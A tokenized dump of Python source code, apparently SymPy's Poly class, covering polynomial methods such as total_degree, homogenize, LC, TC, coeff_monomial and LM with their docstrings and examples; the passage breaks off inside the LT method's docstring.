"\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "degr", "ee", "\\u", "list", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "degr", "ee", "\\u", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "degr", "ee", "\\u", "list", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "total", "\\u", "degree_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "total", " ", "degr", "ee", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "2", " ", "+", " ", "y", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "y", ").", "total", "\\u", "degr", "ee", "()", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", " ", "+", " ", "y", "**", "5", ",", " ", "x", ",", " ", "y", ").", "total", "\\u", "degr", "ee", "()", "\\", "10", ";", " ", " ", " ", " ", "5", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "total", "\\u", "degr", "ee", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "total", "\\u", "degree_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "total", "\\u", "degr", "ee", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "homo", "geni", "ze_", "(_", "f_", ",_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "homogene", "ous", " ", "polynomial", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "homogene", "ous", " ", "polynomial", " ", "is", " ", "a", " ", "polynomial", " ", "who", "se", " ", "all", " ", "monom", "ial", "s", " ", "with", "\\", "10", ";", " ", " ", " ", " ", "non", "-", "zero", " ", "coefficient", "s", " ", "have", " ", "the", " ", "same", " ", "total", " ", "degr", "ee", ".", " ", "If", " ", "you", " ", "only", "\\", "10", ";", " ", " ", " ", " ", "want", " ", "to", " ", "check", " ", "if", " ", "a", " ", "polynomial", " ", "is", " ", "homogene", "ous", ",", " ", "then", " ", "use", "\\", "10", ";", " ", " ", " ", " ", ":", "func", ":`", "Poly", ".", "is", "\\u", "homogene", "ous", "`.", " ", "If", " ", "you", " ", "want", " ", "not", " ", "only", " ", "to", " ", "check", " ", "if", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "polynomial", " ", "is", " ", "homogene", "ous", " ", "but", " ", "als", "o", " ", "compute", " ", "its", " ", "homogene", "ous", " ", "order", ",", "\\", "10", ";", " ", " ", " ", " ", "then", " ", "use", " ", ":", "func", ":`", "Poly", ".", "homogene", "ous", "\\u", "order", "`.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", ",", " ", "z", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "Poly", "(", "x", "**", "5", " ", "+", " ", "2", "*", "x", "**", "2", "*", "y", "**", "2", " ", "+", " ", "9", "*", "x", "*", "y", "**", "3", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "homo", "geni", "ze", "(", "z", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "5", " ", "+", " ", "2", "*", "x", "**", "2", "*", "y", "**", "2", "*", "z", " ", "+", " ", "9", "*", "x", "*", "y", "**", "3", "*", "z", ",", " ", "x", ",", " ", "y", ",", " ", "z", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "s_", ",_", "Symbol_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"``", "Sym", "bol", "``", " ", "expected", ",", " ", "got", " ", "%", "s", "\"_", "%_", "type_", "(_", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "s_", "in_", "f_", "._", "gens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "f_", "._", "gens_", "._", "index_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gens_", "=_", "f_", "._", "gens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "len_", "(_", "f_", "._", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gens_", "=_", "f_", "._", "gens_", "+_", "(_", "s_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "homo", "geni", "ze", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "per_", "(_", "f_", "._", "rep_", "._", "homo", "geni", "ze_", "(_", "i_", ")_", ",_", "gens_", "=_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "homogene", "ous", "\\u", "order", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "homogene", "ous", "\\u", "order_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "homogene", "ous", " ", "order", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "homogene", "ous", " ", "polynomial", " ", "is", " ", "a", " ", "polynomial", " ", "who", "se", " ", "all", " ", "monom", "ial", "s", " ", "with", "\\", "10", ";", " ", " ", " ", " ", "non", "-", "zero", " ", "coefficient", "s", " ", "have", " ", "the", " ", "same", " ", "total", " ", "degr", "ee", ".", " ", "Thi", "s", " ", "degr", "ee", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "homogene", "ous", " ", "order", " ", "of", " ", "``", "f", "``.", " ", "If", " ", "you", " ", "only", " ", "want", " ", "to", " ", "check", " ", "if", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "polynomial", " ", "is", " ", "homogene", "ous", ",", " ", "then", " ", "use", " ", ":", "func", ":`", "Poly", ".", "is", "\\u", "homogene", "ous", "`.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "Poly", "(", "x", "**", "5", " ", "+", " ", "2", "*", "x", "**", "3", "*", "y", "**", "2", " ", "+", " ", "9", "*", "x", "*", "y", "**", "4", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "homogene", "ous", "\\u", "order", "()", "\\", "10", ";", " ", " ", " ", " ", "5", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "homogene", "ous", "\\u", "order", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "homogene", "ous", "\\u", "order_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "homogene", "ous", "\\u", "order", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "LC", "_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "lead", "ing", " ", "coefficient", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "4", "*", "x", "**", "3", " ", "+", " ", "2", "*", "x", "**", "2", " ", "+", " ", "3", "*", "x", ",", " ", "x", ").", "LC", "()", "\\", "10", ";", " ", " ", " ", " ", "4", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "order_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "coeffs_", "(_", "order_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "LC", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "LC", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "LC", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "TC_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "trail", "ing", " ", "coefficient", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "+", " ", "2", "*", "x", "**", "2", " ", "+", " ", "3", "*", "x", ",", " ", "x", ").", "TC", "()", "\\", "10", ";", " ", " ", " ", " ", "0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "TC", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "f_", "._", "rep_", "._", "TC_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "TC", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "f_", "._", "rep_", "._", "dom_", "._", "to", "\\u", "sympy_", "(_", "result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "EC_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "last", " ", "non", "-", "zero", " ", "coefficient", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "x", "**", "3", " ", "+", " ", "2", "*", "x", "**", "2", " ", "+", " ", "3", "*", "x", ",", " ", "x", ").", "EC", "()", "\\", "10", ";", " ", " ", " ", " ", "3", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "f_", "._", "rep_", ",_", "'", "coeffs", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "coeffs_", "(_", "order_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "EC", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "coef", "f", "\\u", "monom", "ial_", "(_", "f_", ",_", "monom", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "coefficient", " ", "of", " ", "``", "monom", "``", " ", "in", " ", "``", "f", "``", " ", "if", " ", "there", ",", " ", "else", " ", "Non", "e", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", ",", " ", "exp", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", " ", "=", " ", "Poly", "(", "24", "*", "x", "*", "y", "*", "exp", "(", "8", ")", " ", "+", " ", "23", "*", "x", ",", " ", "x", ",", " ", "y", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", ".", "coef", "f", "\\u", "monom", "ial", "(", "x", ")", "\\", "10", ";", " ", " ", " ", " ", "23", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", ".", "coef", "f", "\\u", "monom", "ial", "(", "y", ")", "\\", "10", ";", " ", " ", " ", " ", "0", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", ".", "coef", "f", "\\u", "monom", "ial", "(", "x", "*", "y", ")", "\\", "10", ";", " ", " ", " ", " ", "24", "*", "exp", "(", "8", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Not", "e", " ", "tha", "t", " ", "``", "Exp", "r", ".", "coef", "f", "()``", " ", "behave", "s", " ", "different", "ly", ",", " ", "collecti", "ng", " ", "term", "s", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "possib", "le", ";", " ", "the", " ", "Poly", " ", "must", " ", "be", " ", "convert", "ed", " ", "to", " ", "an", " ", "Exp", "r", " ", "to", " ", "use", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "method", ",", " ", "how", "ever", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", ".", "as", "\\u", "expr", "()", ".", "coef", "f", "(", "x", ")", "\\", "10", ";", " ", " ", " ", " ", "24", "*", "y", "*", "exp", "(", "8", ")", " ", "+", " ", "23", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", ".", "as", "\\u", "expr", "()", ".", "coef", "f", "(", "y", ")", "\\", "10", ";", " ", " ", " ", " ", "24", "*", "x", "*", "exp", "(", "8", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "p", ".", "as", "\\u", "expr", "()", ".", "coef", "f", "(", "x", "*", "y", ")", "\\", "10", ";", " ", " ", " ", " ", "24", "*", "exp", "(", "8", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Al", "so", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", " ", " ", " ", " ", "nth", ":", " ", "more", " ", "efficien", "t", " ", "query", " ", "usi", "ng", " ", "expon", "ents", " ", "of", " ", "the", " ", "monom", "ial", "'", "s", " ", "generat", "ors", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "f_", "._", "nth_", "(_", "*_", "Monom", "ial_", "(_", "monom", "_", ",_", "f_", "._", "gens_", ")_", "._", "expon", "ents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "coeff_", "(_", "f_", ",_", "x_", ",_", "n_", "=_", "1_", ",_", "right_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "semantics", " ", "of", " ", "coef", "f", "\\u", "monom", "ial", " ", "and", " ", "Exp", "r", ".", "coef", "f", " ", "are", " ", "different", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "some", "one", " ", "is", " ", "working", " ", "with", " ", "a", " ", "Poly", ",", " ", "the", "y", " ", "shou", "ld", " ", "be", " ", "awa", "re", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "difference", "s", " ", "and", " ", "chos", "e", " ", "the", " ", "method", " ", "best", " ", "suit", "ed", " ", "for", " ", "the", " ", "query", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Alternative", "ly", ",", " ", "a", " ", "pure", "-", "polys", " ", "method", " ", "coul", "d", " ", "be", " ", "writt", "en", " ", "here", " ", "but", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "at", " ", "this", " ", "time", " ", "the", " ", "``", "right", "``", " ", "keyw", "ord", " ", "wou", "ld", " ", "be", " ", "ignore", "d", " ", "bec", "aus", "e", " ", "Poly_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "doe", "sn", "'", "t", " ", "work", " ", "with", " ", "non", "-", "commu", "tative", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Ei", "ther", " ", "convert", " ", "to", " ", "Exp", "r", " ", "with", " ", "`", "as", "\\u", "expr", "`", " ", "method", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "to", " ", "use", " ", "Exp", "r", "\\\\'", "s", " ", "coef", "f", " ", "method", " ", "or", " ", "else", " ", "use", " ", "the", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'`", "coef", "f", "\\u", "monom", "ial", "`", " ", "method", " ", "of", " ", "Poly", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "LM", "_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "lead", "ing", " ", "monom", "ial", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "4", "*", "x", "**", "2", " ", "+", " ", "2", "*", "x", "*", "y", "**", "2", " ", "+", " ", "x", "*", "y", " ", "+", " ", "3", "*", "y", ",", " ", "x", ",", " ", "y", ").", "LM", "()", "\\", "10", ";", " ", " ", " ", " ", "x", "**", "2", "*", "y", "**", "0", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Monom", "ial_", "(_", "f_", "._", "monom", "s_", "(_", "order_", ")_", "[_", "0_", "]_", ",_", "f_", "._", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "EM", "_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "last", " ", "non", "-", "zero", " ", "monom", "ial", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "4", "*", "x", "**", "2", " ", "+", " ", "2", "*", "x", "*", "y", "**", "2", " ", "+", " ", "x", "*", "y", " ", "+", " ", "3", "*", "y", ",", " ", "x", ",", " ", "y", ").", "EM", "()", "\\", "10", ";", " ", " ", " ", " ", "x", "**", "0", "*", "y", "**", "1", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Monom", "ial_", "(_", "f_", "._", "monom", "s_", "(_", "order_", ")_", "[_", "-_", "1_", "]_", ",_", "f_", "._", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "LT_", "(_", "f_", ",_", "order_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "the", " ", "lead", "ing", " ", "term", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", 